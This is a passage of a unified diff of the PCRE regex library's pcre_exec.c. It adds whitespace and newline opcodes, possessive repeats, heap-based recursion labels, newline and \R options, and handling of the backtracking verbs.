+              case 0x85:      /* NEL */
+              case 0x2028:    /* LINE SEPARATOR */
+              case 0x2029:    /* PARAGRAPH SEPARATOR */
+              RRETURN(MATCH_NOMATCH);
+              }
+            break;
+
+            case OP_VSPACE:
+            switch(c)
+              {
+              default: RRETURN(MATCH_NOMATCH);
+              case 0x0a:      /* LF */
+              case 0x0b:      /* VT */
+              case 0x0c:      /* FF */
+              case 0x0d:      /* CR */
+              case 0x85:      /* NEL */
+              case 0x2028:    /* LINE SEPARATOR */
+              case 0x2029:    /* PARAGRAPH SEPARATOR */
+              break;
+              }
+            break;
+
             case OP_NOT_DIGIT:
             if (c < 256 && (md->ctypes[c] & ctype_digit) != 0)
               RRETURN(MATCH_NOMATCH);
@@ -2929,22 +3662,87 @@
         {
         for (fi = min;; fi++)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM43);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (fi >= max || eptr >= md->end_subject ||
-               ((ims & PCRE_DOTALL) == 0 &&
-                 eptr <= md->end_subject - md->nllen && IS_NEWLINE(eptr)))
+               (ctype == OP_ANY && IS_NEWLINE(eptr)))
             RRETURN(MATCH_NOMATCH);
 
           c = *eptr++;
           switch(ctype)
             {
-            case OP_ANY:   /* This is the DOTALL case */
+            case OP_ANY:     /* This is the non-NL case */
+            case OP_ALLANY:
+            case OP_ANYBYTE:
             break;
 
-            case OP_ANYBYTE:
+            case OP_ANYNL:
+            switch(c)
+              {
+              default: RRETURN(MATCH_NOMATCH);
+              case 0x000d:
+              if (eptr < md->end_subject && *eptr == 0x0a) eptr++;
+              break;
+
+              case 0x000a:
+              break;
+
+              case 0x000b:
+              case 0x000c:
+              case 0x0085:
+              if (md->bsr_anycrlf) RRETURN(MATCH_NOMATCH);
+              break;
+              }
             break;
 
+            case OP_NOT_HSPACE:
+            switch(c)
+              {
+              default: break;
+              case 0x09:      /* HT */
+              case 0x20:      /* SPACE */
+              case 0xa0:      /* NBSP */
+              RRETURN(MATCH_NOMATCH);
+              }
+            break;
+
+            case OP_HSPACE:
+            switch(c)
+              {
+              default: RRETURN(MATCH_NOMATCH);
+              case 0x09:      /* HT */
+              case 0x20:      /* SPACE */
+              case 0xa0:      /* NBSP */
+              break;
+              }
+            break;
+
+            case OP_NOT_VSPACE:
+            switch(c)
+              {
+              default: break;
+              case 0x0a:      /* LF */
+              case 0x0b:      /* VT */
+              case 0x0c:      /* FF */
+              case 0x0d:      /* CR */
+              case 0x85:      /* NEL */
+              RRETURN(MATCH_NOMATCH);
+              }
+            break;
+
+            case OP_VSPACE:
+            switch(c)
+              {
+              default: RRETURN(MATCH_NOMATCH);
+              case 0x0a:      /* LF */
+              case 0x0b:      /* VT */
+              case 0x0c:      /* FF */
+              case 0x0d:      /* CR */
+              case 0x85:      /* NEL */
+              break;
+              }
+            break;
+
             case OP_NOT_DIGIT:
             if ((md->ctypes[c] & ctype_digit) != 0) RRETURN(MATCH_NOMATCH);
             break;
@@ -2977,7 +3775,7 @@
       /* Control never gets here */
       }
 
-    /* If maximizing it is worth using inline code for speed, doing the type
+    /* If maximizing, it is worth using inline code for speed, doing the type
     test once at the start (i.e. keep it out of the loop). Again, keep the
     UTF-8 and UCP stuff separate. */
 
@@ -3007,7 +3805,7 @@
             int len = 1;
             if (eptr >= md->end_subject) break;
             GETCHARLEN(c, eptr, len);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_chartype = UCD_CHARTYPE(c);
             if ((prop_chartype == ucp_Lu ||
                  prop_chartype == ucp_Ll ||
                  prop_chartype == ucp_Lt) == prop_fail_result)
@@ -3022,7 +3820,7 @@
             int len = 1;
             if (eptr >= md->end_subject) break;
             GETCHARLEN(c, eptr, len);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_category = UCD_CATEGORY(c);
             if ((prop_category == prop_value) == prop_fail_result)
               break;
             eptr+= len;
@@ -3035,7 +3833,7 @@
             int len = 1;
             if (eptr >= md->end_subject) break;
             GETCHARLEN(c, eptr, len);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_chartype = UCD_CHARTYPE(c);
             if ((prop_chartype == prop_value) == prop_fail_result)
               break;
             eptr+= len;
@@ -3048,7 +3846,7 @@
             int len = 1;
             if (eptr >= md->end_subject) break;
             GETCHARLEN(c, eptr, len);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_script = UCD_SCRIPT(c);
             if ((prop_script == prop_value) == prop_fail_result)
               break;
             eptr+= len;
@@ -3058,12 +3856,13 @@
 
         /* eptr is now past the end of the maximum run */
 
+        if (possessive) continue;
         for(;;)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM44);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (eptr-- == pp) break;        /* Stop if tried at original pos */
-          BACKCHAR(eptr);
+          if (utf8) BACKCHAR(eptr);
           }
         }
 
@@ -3076,7 +3875,7 @@
           {
           if (eptr >= md->end_subject) break;
           GETCHARINCTEST(c, eptr);
-          prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+          prop_category = UCD_CATEGORY(c);
           if (prop_category == ucp_M) break;
           while (eptr < md->end_subject)
             {
@@ -3085,7 +3884,7 @@
               {
               GETCHARLEN(c, eptr, len);
               }
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_category = UCD_CATEGORY(c);
             if (prop_category != ucp_M) break;
             eptr += len;
             }
@@ -3093,20 +3892,21 @@
 
         /* eptr is now past the end of the maximum run */
 
+        if (possessive) continue;
         for(;;)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM45);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (eptr-- == pp) break;        /* Stop if tried at original pos */
           for (;;)                        /* Move back over one extended */
             {
             int len = 1;
-            BACKCHAR(eptr);
             if (!utf8) c = *eptr; else
               {
+              BACKCHAR(eptr);
               GETCHARLEN(c, eptr, len);
               }
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_category = UCD_CATEGORY(c);
             if (prop_category != ucp_M) break;
             eptr--;
             }
@@ -3124,67 +3924,138 @@
         switch(ctype)
           {
           case OP_ANY:
-
-          /* Special code is required for UTF8, but when the maximum is
-          unlimited we don't need it, so we repeat the non-UTF8 code. This is
-          probably worth it, because .* is quite a common idiom. */
-
           if (max < INT_MAX)
             {
-            if ((ims & PCRE_DOTALL) == 0)
+            for (i = min; i < max; i++)
               {
-              for (i = min; i < max; i++)
-                {
-                if (eptr >= md->end_subject ||
-                    (eptr <= md->end_subject - md->nllen && IS_NEWLINE(eptr)))
-                  break;
-                eptr++;
-                while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
-                }
+              if (eptr >= md->end_subject || IS_NEWLINE(eptr)) break;
+              eptr++;
+              while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
               }
-            else
-              {
-              for (i = min; i < max; i++)
-                {
-                if (eptr >= md->end_subject) break;
-                eptr++;
-                while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
-                }
-              }
             }
 
           /* Handle unlimited UTF-8 repeat */
 
           else
             {
-            if ((ims & PCRE_DOTALL) == 0)
+            for (i = min; i < max; i++)
               {
-              for (i = min; i < max; i++)
-                {
-                if (eptr >= md->end_subject ||
-                    (eptr <= md->end_subject - md->nllen && IS_NEWLINE(eptr)))
-                  break;
-                eptr++;
-                }
-              break;
+              if (eptr >= md->end_subject || IS_NEWLINE(eptr)) break;
+              eptr++;
+              while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
               }
-            else
+            }
+          break;
+
+          case OP_ALLANY:
+          if (max < INT_MAX)
+            {
+            for (i = min; i < max; i++)
               {
-              c = max - min;
-              if (c > md->end_subject - eptr) c = md->end_subject - eptr;
-              eptr += c;
+              if (eptr >= md->end_subject) break;
+              eptr++;
+              while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
               }
             }
+          else eptr = md->end_subject;   /* Unlimited UTF-8 repeat */
           break;
 
           /* The byte case is the same as non-UTF8 */
 
           case OP_ANYBYTE:
           c = max - min;
-          if (c > md->end_subject - eptr) c = md->end_subject - eptr;
+          if (c > (unsigned int)(md->end_subject - eptr))
+            c = md->end_subject - eptr;
           eptr += c;
           break;
 
+          case OP_ANYNL:
+          for (i = min; i < max; i++)
+            {
+            int len = 1;
+            if (eptr >= md->end_subject) break;
+            GETCHARLEN(c, eptr, len);
+            if (c == 0x000d)
+              {
+              if (++eptr >= md->end_subject) break;
+              if (*eptr == 0x000a) eptr++;
+              }
+            else
+              {
+              if (c != 0x000a &&
+                  (md->bsr_anycrlf ||
+                   (c != 0x000b && c != 0x000c &&
+                    c != 0x0085 && c != 0x2028 && c != 0x2029)))
+                break;
+              eptr += len;
+              }
+            }
+          break;
+
+          case OP_NOT_HSPACE:
+          case OP_HSPACE:
+          for (i = min; i < max; i++)
+            {
+            BOOL gotspace;
+            int len = 1;
+            if (eptr >= md->end_subject) break;
+            GETCHARLEN(c, eptr, len);
+            switch(c)
+              {
+              default: gotspace = FALSE; break;
+              case 0x09:      /* HT */
+              case 0x20:      /* SPACE */
+              case 0xa0:      /* NBSP */
+              case 0x1680:    /* OGHAM SPACE MARK */
+              case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+              case 0x2000:    /* EN QUAD */
+              case 0x2001:    /* EM QUAD */
+              case 0x2002:    /* EN SPACE */
+              case 0x2003:    /* EM SPACE */
+              case 0x2004:    /* THREE-PER-EM SPACE */
+              case 0x2005:    /* FOUR-PER-EM SPACE */
+              case 0x2006:    /* SIX-PER-EM SPACE */
+              case 0x2007:    /* FIGURE SPACE */
+              case 0x2008:    /* PUNCTUATION SPACE */
+              case 0x2009:    /* THIN SPACE */
+              case 0x200A:    /* HAIR SPACE */
+              case 0x202f:    /* NARROW NO-BREAK SPACE */
+              case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+              case 0x3000:    /* IDEOGRAPHIC SPACE */
+              gotspace = TRUE;
+              break;
+              }
+            if (gotspace == (ctype == OP_NOT_HSPACE)) break;
+            eptr += len;
+            }
+          break;
+
+          case OP_NOT_VSPACE:
+          case OP_VSPACE:
+          for (i = min; i < max; i++)
+            {
+            BOOL gotspace;
+            int len = 1;
+            if (eptr >= md->end_subject) break;
+            GETCHARLEN(c, eptr, len);
+            switch(c)
+              {
+              default: gotspace = FALSE; break;
+              case 0x0a:      /* LF */
+              case 0x0b:      /* VT */
+              case 0x0c:      /* FF */
+              case 0x0d:      /* CR */
+              case 0x85:      /* NEL */
+              case 0x2028:    /* LINE SEPARATOR */
+              case 0x2029:    /* PARAGRAPH SEPARATOR */
+              gotspace = TRUE;
+              break;
+              }
+            if (gotspace == (ctype == OP_NOT_VSPACE)) break;
+            eptr += len;
+            }
+          break;
+
           case OP_NOT_DIGIT:
           for (i = min; i < max; i++)
             {
@@ -3257,41 +4128,101 @@
 
         /* eptr is now past the end of the maximum run */
 
+        if (possessive) continue;
         for(;;)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM46);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (eptr-- == pp) break;        /* Stop if tried at original pos */
           BACKCHAR(eptr);
           }
         }
       else
-#endif
+#endif  /* SUPPORT_UTF8 */
 
       /* Not UTF-8 mode */
         {
         switch(ctype)
           {
           case OP_ANY:
-          if ((ims & PCRE_DOTALL) == 0)
+          for (i = min; i < max; i++)
             {
-            for (i = min; i < max; i++)
+            if (eptr >= md->end_subject || IS_NEWLINE(eptr)) break;
+            eptr++;
+            }
+          break;
+
+          case OP_ALLANY:
+          case OP_ANYBYTE:
+          c = max - min;
+          if (c > (unsigned int)(md->end_subject - eptr))
+            c = md->end_subject - eptr;
+          eptr += c;
+          break;
+
+          case OP_ANYNL:
+          for (i = min; i < max; i++)
+            {
+            if (eptr >= md->end_subject) break;
+            c = *eptr;
+            if (c == 0x000d)
               {
-              if (eptr >= md->end_subject ||
-                  (eptr <= md->end_subject - md->nllen && IS_NEWLINE(eptr)))
+              if (++eptr >= md->end_subject) break;
+              if (*eptr == 0x000a) eptr++;
+              }
+            else
+              {
+              if (c != 0x000a &&
+                  (md->bsr_anycrlf ||
+                    (c != 0x000b && c != 0x000c && c != 0x0085)))
                 break;
               eptr++;
               }
-            break;
             }
-          /* For DOTALL case, fall through and treat as \C */
+          break;
 
-          case OP_ANYBYTE:
-          c = max - min;
-          if (c > md->end_subject - eptr) c = md->end_subject - eptr;
-          eptr += c;
+          case OP_NOT_HSPACE:
+          for (i = min; i < max; i++)
+            {
+            if (eptr >= md->end_subject) break;
+            c = *eptr;
+            if (c == 0x09 || c == 0x20 || c == 0xa0) break;
+            eptr++;
+            }
           break;
 
+          case OP_HSPACE:
+          for (i = min; i < max; i++)
+            {
+            if (eptr >= md->end_subject) break;
+            c = *eptr;
+            if (c != 0x09 && c != 0x20 && c != 0xa0) break;
+            eptr++;
+            }
+          break;
+
+          case OP_NOT_VSPACE:
+          for (i = min; i < max; i++)
+            {
+            if (eptr >= md->end_subject) break;
+            c = *eptr;
+            if (c == 0x0a || c == 0x0b || c == 0x0c || c == 0x0d || c == 0x85)
+              break;
+            eptr++;
+            }
+          break;
+
+          case OP_VSPACE:
+          for (i = min; i < max; i++)
+            {
+            if (eptr >= md->end_subject) break;
+            c = *eptr;
+            if (c != 0x0a && c != 0x0b && c != 0x0c && c != 0x0d && c != 0x85)
+              break;
+            eptr++;
+            }
+          break;
+
           case OP_NOT_DIGIT:
           for (i = min; i < max; i++)
             {
@@ -3352,9 +4283,10 @@
 
         /* eptr is now past the end of the maximum run */
 
+        if (possessive) continue;
         while (eptr >= pp)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM47);
           eptr--;
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           }
@@ -3366,14 +4298,12 @@
       }
     /* Control never gets here */
 
-    /* There's been some horrible disaster. Since all codes > OP_BRA are
-    for capturing brackets, and there shouldn't be any gaps between 0 and
-    OP_BRA, arrival here can only mean there is something seriously wrong
-    in the code above or the OP_xxx definitions. */
+    /* There's been some horrible disaster. Arrival here can only mean there is
+    something seriously wrong in the code above or the OP_xxx definitions. */
 
     default:
     DPRINTF(("Unknown opcode %d\n", *ecode));
-    RRETURN(PCRE_ERROR_UNKNOWN_NODE);
+    RRETURN(PCRE_ERROR_UNKNOWN_OPCODE);
     }
 
   /* Do not stick any code in here without much thought; it is assumed
@@ -3382,6 +4312,35 @@
 
   }             /* End of main loop */
 /* Control never reaches here */
+
+
+/* When compiling to use the heap rather than the stack for recursive calls to
+match(), the RRETURN() macro jumps here. The number that is saved in
+frame->Xwhere indicates which label we actually want to return to. */
+
+#ifdef NO_RECURSE
+#define LBL(val) case val: goto L_RM##val;
+HEAP_RETURN:
+switch (frame->Xwhere)
+  {
+  LBL( 1) LBL( 2) LBL( 3) LBL( 4) LBL( 5) LBL( 6) LBL( 7) LBL( 8)
+  LBL( 9) LBL(10) LBL(11) LBL(12) LBL(13) LBL(14) LBL(15) LBL(17)
+  LBL(19) LBL(24) LBL(25) LBL(26) LBL(27) LBL(29) LBL(31) LBL(33)
+  LBL(35) LBL(43) LBL(47) LBL(48) LBL(49) LBL(50) LBL(51) LBL(52)
+  LBL(53) LBL(54)
+#ifdef SUPPORT_UTF8
+  LBL(16) LBL(18) LBL(20) LBL(21) LBL(22) LBL(23) LBL(28) LBL(30)
+  LBL(32) LBL(34) LBL(42) LBL(46)
+#ifdef SUPPORT_UCP
+  LBL(36) LBL(37) LBL(38) LBL(39) LBL(40) LBL(41) LBL(44) LBL(45)
+#endif  /* SUPPORT_UCP */
+#endif  /* SUPPORT_UTF8 */
+  default:
+  DPRINTF(("jump error in pcre match: label %d non-existent\n", frame->Xwhere));
+  return PCRE_ERROR_INTERNAL;
+  }
+#undef LBL
+#endif  /* NO_RECURSE */
 }
 
 
@@ -3394,6 +4353,7 @@
 #ifdef NO_RECURSE
 #undef eptr
 #undef ecode
+#undef mstart
 #undef offset_top
 #undef ims
 #undef eptrb
@@ -3411,7 +4371,6 @@
 
 #undef cur_is_word
 #undef condition
-#undef minimize
 #undef prev_is_word
 
 #undef original_ims
@@ -3467,7 +4426,7 @@
                  < -1 => some kind of unexpected problem
 */
 
-PCRE_DATA_SCOPE int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_exec(const pcre *argument_re, const pcre_extra *extra_data,
   PCRE_SPTR subject, int length, int start_offset, int options, int *offsets,
   int offsetcount)
@@ -3484,6 +4443,7 @@
 BOOL firstline;
 BOOL first_byte_caseless = FALSE;
 BOOL req_byte_caseless = FALSE;
+BOOL utf8;
 match_data match_block;
 match_data *md = &match_block;
 const uschar *tables;
@@ -3553,7 +4513,7 @@
 /* Set up other data */
 
 anchored = ((re->options | options) & PCRE_ANCHORED) != 0;
-startline = (re->options & PCRE_STARTLINE) != 0;
+startline = (re->flags & PCRE_STARTLINE) != 0;
 firstline = (re->options & PCRE_FIRSTLINE) != 0;
 
 /* The code starts after the real_pcre block and the capture name table. */
@@ -3567,7 +4527,8 @@
 end_subject = md->end_subject;
 
 md->endonly = (re->options & PCRE_DOLLAR_ENDONLY) != 0;
-md->utf8 = (re->options & PCRE_UTF8) != 0;
+utf8 = md->utf8 = (re->options & PCRE_UTF8) != 0;
+md->jscript_compat = (re->options & PCRE_JAVASCRIPT_COMPAT) != 0;
 
 md->notbol = (options & PCRE_NOTBOL) != 0;
 md->noteol = (options & PCRE_NOTEOL) != 0;
@@ -3580,48 +4541,89 @@
 md->lcc = tables + lcc_offset;
 md->ctypes = tables + ctypes_offset;
 
-/* Handle different types of newline. The two bits give four cases. If nothing
-is set at run time, whatever was used at compile time applies. */
+/* Handle different \R options. */
 
-switch ((((options & PCRE_NEWLINE_CRLF) == 0)? re->options : options) &
-         PCRE_NEWLINE_CRLF)
+switch (options & (PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE))
   {
-  default:              newline = NEWLINE; break;   /* Compile-time default */
-  case PCRE_NEWLINE_CR: newline = '\r'; break;
-  case PCRE_NEWLINE_LF: newline = '\n'; break;
+  case 0:
+  if ((re->options & (PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE)) != 0)
+    md->bsr_anycrlf = (re->options & PCRE_BSR_ANYCRLF) != 0;
+  else
+#ifdef BSR_ANYCRLF
+  md->bsr_anycrlf = TRUE;
+#else
+  md->bsr_anycrlf = FALSE;
+#endif
+  break;
+
+  case PCRE_BSR_ANYCRLF:
+  md->bsr_anycrlf = TRUE;
+  break;
+
+  case PCRE_BSR_UNICODE:
+  md->bsr_anycrlf = FALSE;
+  break;
+
+  default: return PCRE_ERROR_BADNEWLINE;
+  }
+
+/* Handle different types of newline. The three bits give eight cases. If
+nothing is set at run time, whatever was used at compile time applies. */
+
+switch ((((options & PCRE_NEWLINE_BITS) == 0)? re->options :
+        (pcre_uint32)options) & PCRE_NEWLINE_BITS)
+  {
+  case 0: newline = NEWLINE; break;   /* Compile-time default */
+  case PCRE_NEWLINE_CR: newline = CHAR_CR; break;
+  case PCRE_NEWLINE_LF: newline = CHAR_NL; break;
   case PCRE_NEWLINE_CR+
-       PCRE_NEWLINE_LF: newline = ('\r' << 8) | '\n'; break;
+       PCRE_NEWLINE_LF: newline = (CHAR_CR << 8) | CHAR_NL; break;
+  case PCRE_NEWLINE_ANY: newline = -1; break;
+  case PCRE_NEWLINE_ANYCRLF: newline = -2; break;
+  default: return PCRE_ERROR_BADNEWLINE;
   }
 
-if (newline > 255)
+if (newline == -2)
   {
-  md->nllen = 2;
-  md->nl[0] = (newline >> 8) & 255;
-  md->nl[1] = newline & 255;
+  md->nltype = NLTYPE_ANYCRLF;
   }
+else if (newline < 0)
+  {
+  md->nltype = NLTYPE_ANY;
+  }
 else
   {
-  md->nllen = 1;
-  md->nl[0] = newline;
+  md->nltype = NLTYPE_FIXED;
+  if (newline > 255)
+    {
+    md->nllen = 2;
+    md->nl[0] = (newline >> 8) & 255;
+    md->nl[1] = newline & 255;
+    }
+  else
+    {
+    md->nllen = 1;
+    md->nl[0] = newline;
+    }
   }
 
 /* Partial matching is supported only for a restricted set of regexes at the
 moment. */
 
-if (md->partial && (re->options & PCRE_NOPARTIAL) != 0)
+if (md->partial && (re->flags & PCRE_NOPARTIAL) != 0)
   return PCRE_ERROR_BADPARTIAL;
 
 /* Check a UTF-8 string if required. Unfortunately there's no way of passing
 back the character offset. */
 
 #ifdef SUPPORT_UTF8
-if (md->utf8 && (options & PCRE_NO_UTF8_CHECK) == 0)
+if (utf8 && (options & PCRE_NO_UTF8_CHECK) == 0)
   {
-  if (_pcre_valid_utf8((uschar *)subject, length) >= 0)
+  if (_pcre_valid_utf8((USPTR)subject, length) >= 0)
     return PCRE_ERROR_BADUTF8;
   if (start_offset > 0 && start_offset < length)
     {
-    int tb = ((uschar *)subject)[start_offset];
+    int tb = ((USPTR)subject)[start_offset];
     if (tb > 127)
       {
       tb &= 0xc0;
@@ -3685,7 +4687,7 @@
 
 if (!anchored)
   {
-  if ((re->options & PCRE_FIRSTSET) != 0)
+  if ((re->flags & PCRE_FIRSTSET) != 0)
     {
     first_byte = re->first_byte & 255;
     if ((first_byte_caseless = ((re->first_byte & REQ_CASELESS) != 0)) == TRUE)
@@ -3700,19 +4702,23 @@
 /* For anchored or unanchored matches, there may be a "last known required
 character" set. */
 
-if ((re->options & PCRE_REQCHSET) != 0)
+if ((re->flags & PCRE_REQCHSET) != 0)
   {
   req_byte = re->req_byte & 255;
   req_byte_caseless = (re->req_byte & REQ_CASELESS) != 0;
   req_byte2 = (tables + fcc_offset)[req_byte];  /* case flipped */
   }
 
+
+/* ==========================================================================*/
+
 /* Loop for handling unanchored repeated matching attempts; for anchored regexs
 the loop runs just once. */
 
-do
+for(;;)
   {
   USPTR save_end_subject = end_subject;
+  USPTR new_start_match;
 
   /* Reset the maximum number of extractions we might see. */
 
@@ -3723,55 +4729,94 @@
     while (iptr < iend) *iptr++ = -1;
     }
 
-  /* Advance to a unique first char if possible. If firstline is TRUE, the
-  start of the match is constrained to the first line of a multiline string.
-  Implement this by temporarily adjusting end_subject so that we stop scanning
-  at a newline. If the match fails at the newline, later code breaks this loop.
-  */
+  /* If firstline is TRUE, the start of the match is constrained to the first
+  line of a multiline string. That is, the match must be before or at the first
+  newline. Implement this by temporarily adjusting end_subject so that we stop
+  scanning at a newline. If the match fails at the newline, later code breaks
+  this loop. */
 
   if (firstline)
     {
     USPTR t = start_match;
-    while (t <= save_end_subject - md->nllen && !IS_NEWLINE(t)) t++;
+#ifdef SUPPORT_UTF8
+    if (utf8)
+      {
+      while (t < md->end_subject && !IS_NEWLINE(t))
+        {
+        t++;
+        while (t < end_subject && (*t & 0xc0) == 0x80) t++;
+        }
+      }
+    else
+#endif
+    while (t < md->end_subject && !IS_NEWLINE(t)) t++;
     end_subject = t;
     }
 
-  /* Now test for a unique first byte */
+  /* There are some optimizations that avoid running the match if a known
+  starting point is not found, or if a known later character is not present.
+  However, there is an option that disables these, for testing and for ensuring
+  that all callouts do actually occur. */
 
-  if (first_byte >= 0)
+  if ((options & PCRE_NO_START_OPTIMIZE) == 0)
     {
-    if (first_byte_caseless)
-      while (start_match < end_subject &&
-             md->lcc[*start_match] != first_byte)
-        start_match++;
-    else
-      while (start_match < end_subject && *start_match != first_byte)
-        start_match++;
-    }
+    /* Advance to a unique first byte if there is one. */
 
-  /* Or to just after a linebreak for a multiline match if possible */
+    if (first_byte >= 0)
+      {
+      if (first_byte_caseless)
+        while (start_match < end_subject && md->lcc[*start_match] != first_byte)
+          start_match++;
+      else
+        while (start_match < end_subject && *start_match != first_byte)
+          start_match++;
+      }
 
-  else if (startline)
-    {
-    if (start_match >= md->start_subject + md->nllen +
-          start_offset)
+    /* Or to just after a linebreak for a multiline match */
+
+    else if (startline)
       {
-      while (start_match <= end_subject &&
-             !IS_NEWLINE(start_match - md->nllen))
-        start_match++;
+      if (start_match > md->start_subject + start_offset)
+        {
+#ifdef SUPPORT_UTF8
+        if (utf8)
+          {
+          while (start_match < end_subject && !WAS_NEWLINE(start_match))
+            {
+            start_match++;
+            while(start_match < end_subject && (*start_match & 0xc0) == 0x80)
+              start_match++;
+            }
+          }
+        else
+#endif
+        while (start_match < end_subject && !WAS_NEWLINE(start_match))
+          start_match++;
+
+        /* If we have just passed a CR and the newline option is ANY or ANYCRLF,
+        and we are now at a LF, advance the match position by one more character.
+        */
+
+        if (start_match[-1] == CHAR_CR &&
+             (md->nltype == NLTYPE_ANY || md->nltype == NLTYPE_ANYCRLF) &&
+             start_match < end_subject &&
+             *start_match == CHAR_NL)
+          start_match++;
+        }
       }
-    }
 
-  /* Or to a non-unique first char after study */
+    /* Or to a non-unique first byte after study */
 
-  else if (start_bits != NULL)
-    {
-    while (start_match < end_subject)
+    else if (start_bits != NULL)
       {
-      register unsigned int c = *start_match;
-      if ((start_bits[c/8] & (1 << (c&7))) == 0) start_match++; else break;
+      while (start_match < end_subject)
+        {
+        register unsigned int c = *start_match;
+        if ((start_bits[c/8] & (1 << (c&7))) == 0) start_match++;
+          else break;
+        }
       }
-    }
+    }   /* Starting optimizations */
 
   /* Restore fudged end_subject */
 
@@ -3783,23 +4828,25 @@
   printf("\n");
 #endif
 
-  /* If req_byte is set, we know that that character must appear in the subject
-  for the match to succeed. If the first character is set, req_byte must be
-  later in the subject; otherwise the test starts at the match point. This
-  optimization can save a huge amount of backtracking in patterns with nested
-  unlimited repeats that aren't going to match. Writing separate code for
-  cased/caseless versions makes it go faster, as does using an autoincrement
-  and backing off on a match.
+  /* If req_byte is set, we know that that character must appear in the
+  subject for the match to succeed. If the first character is set, req_byte
+  must be later in the subject; otherwise the test starts at the match point.
+  This optimization can save a huge amount of backtracking in patterns with
+  nested unlimited repeats that aren't going to match. Writing separate code
+  for cased/caseless versions makes it go faster, as does using an
+  autoincrement and backing off on a match.
 
-  HOWEVER: when the subject string is very, very long, searching to its end can
-  take a long time, and give bad performance on quite ordinary patterns. This
-  showed up when somebody was matching /^C/ on a 32-megabyte string... so we
-  don't do this when the string is sufficiently long.
+  HOWEVER: when the subject string is very, very long, searching to its end
+  can take a long time, and give bad performance on quite ordinary patterns.
+  This showed up when somebody was matching something like /^\d+C/ on a
+  32-megabyte string... so we don't do this when the string is sufficiently
+  long.
 
-  ALSO: this processing is disabled when partial matching is requested.
-  */
+  ALSO: this processing is disabled when partial matching is requested, or if
+  disabling is explicitly requested. */
 
-  if (req_byte >= 0 &&
+  if ((options & PCRE_NO_START_OPTIMIZE) == 0 &&
+      req_byte >= 0 &&
       end_subject - start_match < REQ_BYTE_MAX &&
       !md->partial)
     {
@@ -3826,9 +4873,14 @@
           }
         }
 
-      /* If we can't find the required character, break the matching loop */
+      /* If we can't find the required character, break the matching loop,
+      forcing a match failure. */
 
-      if (p >= end_subject) break;
+      if (p >= end_subject)
+        {
+        rc = MATCH_NOMATCH;
+        break;
+        }
 
       /* If we have found the required character, save the point where we
       found it, so that we don't search again next time round the loop if
@@ -3838,49 +4890,105 @@
       }
     }
 
-  /* When a match occurs, substrings will be set for all internal extractions;
-  we just need to set up the whole thing as substring 0 before returning. If
-  there were too many extractions, set the return code to zero. In the case
-  where we had to get some local store to hold offsets for backreferences, copy
-  those back references that we can. In this case there need not be overflow
-  if certain parts of the pattern were not used. */
+  /* OK, we can now run the match. */
 
-  md->start_match = start_match;
+  md->start_match_ptr = start_match;
   md->match_call_count = 0;
+  rc = match(start_match, md->start_code, start_match, 2, md, ims, NULL, 0, 0);
 
-  rc = match(start_match, md->start_code, 2, md, ims, NULL, match_isgroup, 0);
+  switch(rc)
+    {
+    /* NOMATCH and PRUNE advance by one character. THEN at this level acts
+    exactly like PRUNE. */
 
-  /* When the result is no match, if the subject's first character was a
-  newline and the PCRE_FIRSTLINE option is set, break (which will return
-  PCRE_ERROR_NOMATCH). The option requests that a match occur before the first
-  newline in the subject. Otherwise, advance the pointer to the next character
-  and continue - but the continuation will actually happen only when the
-  pattern is not anchored. */
-
-  if (rc == MATCH_NOMATCH)
-    {
-    if (firstline &&
-        start_match <= md->end_subject - md->nllen &&
-        IS_NEWLINE(start_match))
-      break;
-    start_match++;
+    case MATCH_NOMATCH:
+    case MATCH_PRUNE:
+    case MATCH_THEN:
+    new_start_match = start_match + 1;
 #ifdef SUPPORT_UTF8
-    if (md->utf8)
-      while(start_match < end_subject && (*start_match & 0xc0) == 0x80)
-        start_match++;
+    if (utf8)
+      while(new_start_match < end_subject && (*new_start_match & 0xc0) == 0x80)
+        new_start_match++;
 #endif
-    continue;
-    }
+    break;
 
-  if (rc != MATCH_MATCH)
-    {
-    DPRINTF((">>>> error: returning %d\n", rc));
-    return rc;
+    /* SKIP passes back the next starting point explicitly. */
+
+    case MATCH_SKIP:
+    new_start_match = md->start_match_ptr;
+    break;
+
+    /* COMMIT disables the bumpalong, but otherwise behaves as NOMATCH. */
+
+    case MATCH_COMMIT:
+    rc = MATCH_NOMATCH;
+    goto ENDLOOP;
+
+    /* Any other return is some kind of error. */
+
+    default:
+    goto ENDLOOP;
     }
 
-  /* We have a match! Copy the offset information from temporary store if
-  necessary */
